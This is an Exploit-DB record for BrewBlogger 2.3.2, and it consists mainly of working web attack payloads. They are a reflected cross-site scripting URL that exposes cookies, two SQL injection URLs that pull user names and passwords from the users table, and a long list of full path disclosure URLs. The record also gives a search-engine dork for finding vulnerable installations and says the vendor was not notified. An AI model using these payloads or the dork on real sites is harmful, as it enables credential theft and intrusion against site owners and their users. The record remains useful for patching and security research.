{"id": "EDB-ID:17435", "vendorId": null, "type": "exploitdb", "bulletinFamily": "exploit", "title": "BrewBlogger 2.3.2 - Multiple Vulnerabilities", "description": "", "published": "2011-06-23T00:00:00", "modified": "2011-06-23T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.exploit-db.com/exploits/17435", "reporter": "Brendan Coles", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2022-01-13T06:44:23", "viewCount": 7, "enchantments": {"score": {"value": 0.4, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.4}, "sourceHref": "https://www.exploit-db.com/download/17435", "sourceData": "BrewBlogger 2.3.2 multiple security vulnerabilities\r\n\r\n# Date: 2011-06-23\r\n# Author: Brendan Coles <bcoles@gmail.com>\r\n# Advisory: http://itsecuritysolutions.org/2011-06-23_BrewBlogger_2.3.2_multiple_security_vulnerabilities/\r\n\r\n# Software: BrewBlogger\r\n# Version: 2.3.2 (Club Edition and Personal Edition)\r\n# Homepage: http://www.brewblogger.net/\r\n# Source: http://sourceforge.net/projects/brewblogger/files/BrewBlogger/BrewBlogger%202.3.2/BrewBlogger2.3.2.tar.gz/download\r\n# Google Dork: (\"BrewBlogger 2.3.2 Club Edition developed by zkdigital.com\"|\"BrewBlogger 2.3.2 Personal Edition developed by zkdigital.com\")\r\n\r\n# Vendor: Geoff Humphrey\r\n# Homepage: http://zkdigital.com/\r\n# Notified: Unnotified\r\n\r\n\r\n# Reflected Cross-Site Scripting (XSS):\r\n\r\nhttp://localhost/[PATH]/index.php?page=brewBlogList&style=\"><script>alert(document.cookie)</script><p+\"\r\n\r\n\r\n# SQL Injection:\r\n\r\nhttp://localhost/[PATH]/sections/reference.inc.php?source=log&section=styles&styleNumber=null union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(user_name,0x3a,password),null,concat(realFirstName,0x20,realLastName) FROM users--\r\n\r\nhttp://localhost/[PATH]/sections/reference.inc.php?source=log&section=styles&filterStyle=null union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(user_name,0x3a,password),null,concat(realFirstName,0x20,realLastName) FROM users--\r\n\r\n\r\n# Full Path Disclosure:\r\n\r\nhttp://localhost/[PATH]/includes/beerXMLparser/input_beer_xml_ugh.inc.php\r\nhttp://localhost/[PATH]/includes/authentication_nav.inc.php\r\nhttp://localhost/[PATH]/includes/db_connect_log.inc.php\r\nhttp://localhost/[PATH]/includes/db_connect_universal.inc.php\r\nhttp://localhost/[PATH]/includes/efficiency.inc.php\r\nhttp://localhost/[PATH]/includes/input_beer_xml.php\r\nhttp://localhost/[PATH]/includes/navigation.inc.php\r\nhttp://localhost/[PATH]/includes/plug-ins.inc.php\r\nhttp://localhost/[PATH]/includes/theme.inc.php\r\nhttp://localhost/[PATH]/sections/tools.inc.php\r\nhttp://localhost/[PATH]/sections/status.inc.php\r\nhttp://localhost/[PATH]/sections/specifics.inc.php\r\nhttp://localhost/[PATH]/sections/recipe_specifics.inc.php\r\nhttp://localhost/[PATH]/sections/recipe2.inc.php\r\nhttp://localhost/[PATH]/sections/recipe.inc.php\r\nhttp://localhost/[PATH]/sections/profile.inc.php\r\nhttp://localhost/[PATH]/sections/printXML.inc.php\r\nhttp://localhost/[PATH]/sections/printRecipe.inc.php\r\nhttp://localhost/[PATH]/sections/printLog.inc.php\r\nhttp://localhost/[PATH]/sections/print.inc.php\r\nhttp://localhost/[PATH]/sections/news.inc.php\r\nhttp://localhost/[PATH]/sections/memberList.inc.php\r\nhttp://localhost/[PATH]/sections/featured.inc.php\r\nhttp://localhost/[PATH]/sections/awardsList.inc.php\r\nhttp://localhost/[PATH]/reference/color.inc.php\r\nhttp://localhost/[PATH]/admin/tools/recipe_calculator.php\r\nhttp://localhost/[PATH]/admin/lib/calcFormVar.lib.php\r\nhttp://localhost/[PATH]/admin/lib/calculations.lib.php\r\nhttp://localhost/[PATH]/admin/lib/predicted.lib.php\r\nhttp://localhost/[PATH]/admin/includes/admin_nav.inc.php\r\nhttp://localhost/[PATH]/admin/includes/footer.inc.php\r\nhttp://localhost/[PATH]/admin/includes/sql_download.inc.php\r\nhttp://localhost/[PATH]/admin/admin_sections/bb_recipe.admin.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list.admin.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/adjuncts.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/awards.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/brewer.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/brewerlinks.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/brewingcss.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/equip_profiles.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/extracts.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/grains.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/hops.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/mash_profiles.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/mash_steps.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/misc.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/preferences.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/reviews.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/styles.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/sugar_type.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/upcoming.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/users.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/add-edit/water_profiles.add-edit.php\r\nhttp://localhost/[PATH]/admin/admin_sections/recipe/adjuncts.recipe.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/adjuncts.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/brewblogs.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/brewerlinks.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/brewingcss.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/equip_profiles.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/extracts.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/grains.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/hops.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/mash_profiles.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/misc.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/news.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/recipes.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/reviews.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/styles.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/sugar_type.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/upcoming.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/users.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/water_profiles.list.php\r\nhttp://localhost/[PATH]/admin/admin_sections/list/yeast_profiles.list.php", "osvdbidlist": ["73263", "73262", "73261"], "exploitType": "webapps", "verified": true, "_state": {"dependencies": 1647799038}}

{}